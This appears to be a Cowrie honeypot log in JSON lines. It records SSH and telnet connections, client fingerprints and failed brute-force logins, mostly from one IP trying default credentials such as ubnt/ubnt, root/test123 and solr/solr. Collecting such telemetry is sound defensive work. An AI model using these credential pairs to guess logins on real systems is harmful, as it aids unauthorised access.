{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:32.761805Z","src_ip":"45.156.87.254","session":"62a3edce4a29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:33.116139Z","src_ip":"45.156.87.254","session":"62a3edce4a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":48910,"dst_ip":"10.17.0.5","dst_port":23,"session":"dec7ed2f4436","protocol":"telnet","message":"New connection: 20.123.41.163:48910 (10.17.0.5:23) [session: dec7ed2f4436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:33.525155Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:34.211082Z","src_ip":"45.156.87.254","session":"62a3edce4a29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":43980,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc62164c6278","protocol":"ssh","message":"New connection: 45.156.87.254:43980 (159.203.135.109:22) [session: cc62164c6278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:37.939554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:37.947682Z","src_ip":"45.156.87.254","session":"cc62164c6278","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:38.031724Z","src_ip":"45.156.87.254","session":"cc62164c6278","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:38.281875Z","src_ip":"45.156.87.254","session":"cc62164c6278","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:39.378219Z","src_ip":"45.156.87.254","session":"cc62164c6278","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48270,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc66b66f8fc","protocol":"ssh","message":"New connection: 45.156.87.254:48270 (159.203.135.109:22) [session: 2fc66b66f8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:43.290456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:43.299690Z","src_ip":"45.156.87.254","session":"2fc66b66f8fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:43.386810Z","src_ip":"45.156.87.254","session":"2fc66b66f8fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:43.647273Z","src_ip":"45.156.87.254","session":"2fc66b66f8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:44.734397Z","src_ip":"45.156.87.254","session":"2fc66b66f8fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.208478689193726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:47.565836Z","src_ip":"185.145.252.179","session":"27413a54872c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":48290,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfd69d84c717","protocol":"ssh","message":"New connection: 45.156.87.254:48290 (159.203.135.109:22) [session: bfd69d84c717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:48.479483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:48.484030Z","src_ip":"45.156.87.254","session":"bfd69d84c717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:48.570282Z","src_ip":"45.156.87.254","session":"bfd69d84c717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:48.830501Z","src_ip":"45.156.87.254","session":"bfd69d84c717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:49.918123Z","src_ip":"45.156.87.254","session":"bfd69d84c717","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53014,"dst_ip":"159.203.135.109","dst_port":22,"session":"61f02b944d57","protocol":"ssh","message":"New connection: 45.156.87.254:53014 (159.203.135.109:22) [session: 61f02b944d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:53.569869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:53.575530Z","src_ip":"45.156.87.254","session":"61f02b944d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:53.665227Z","src_ip":"45.156.87.254","session":"61f02b944d57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:53.946544Z","src_ip":"45.156.87.254","session":"61f02b944d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41146,"dst_ip":"10.17.0.5","dst_port":23,"session":"b43a1671e5b3","protocol":"telnet","message":"New connection: 20.123.41.163:41146 (10.17.0.5:23) [session: b43a1671e5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:53.963160Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:55.213964Z","src_ip":"45.156.87.254","session":"61f02b944d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.275394916534424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:55.337012Z","src_ip":"104.245.105.2","session":"09874a379db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.591471195220947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:57.583382Z","src_ip":"185.145.252.179","session":"7937b183b11c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47864,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f0cd05fb538","protocol":"ssh","message":"New connection: 45.156.87.254:47864 (159.203.135.109:22) [session: 2f0cd05fb538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:58.930089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:58.982256Z","src_ip":"45.156.87.254","session":"2f0cd05fb538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:59.064074Z","src_ip":"45.156.87.254","session":"2f0cd05fb538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:25:59.315318Z","src_ip":"45.156.87.254","session":"2f0cd05fb538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:00.493108Z","src_ip":"45.156.87.254","session":"2f0cd05fb538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":47880,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa969c77773","protocol":"ssh","message":"New connection: 45.156.87.254:47880 (159.203.135.109:22) [session: 4aa969c77773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:04.477396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:04.482188Z","src_ip":"45.156.87.254","session":"4aa969c77773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:04.569654Z","src_ip":"45.156.87.254","session":"4aa969c77773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:04.836842Z","src_ip":"45.156.87.254","session":"4aa969c77773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43964,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfae41a6229e","protocol":"telnet","message":"New connection: 104.245.105.2:43964 (10.17.0.5:23) [session: cfae41a6229e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:05.495995Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:05.968123Z","src_ip":"45.156.87.254","session":"4aa969c77773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":55332,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0efe566de74","protocol":"ssh","message":"New connection: 45.156.87.254:55332 (159.203.135.109:22) [session: f0efe566de74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:10.594246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:10.598892Z","src_ip":"45.156.87.254","session":"f0efe566de74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:10.685824Z","src_ip":"45.156.87.254","session":"f0efe566de74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solr","password":"solr","message":"login attempt [solr/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:10.945593Z","src_ip":"45.156.87.254","session":"f0efe566de74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":37066,"dst_ip":"10.17.0.5","dst_port":23,"session":"41ad0b8393ed","protocol":"telnet","message":"New connection: 185.145.252.179:37066 (10.17.0.5:23) [session: 41ad0b8393ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:11.808459Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:26:12.050135Z","src_ip":"45.156.87.254","session":"f0efe566de74","protocol":"ssh"}
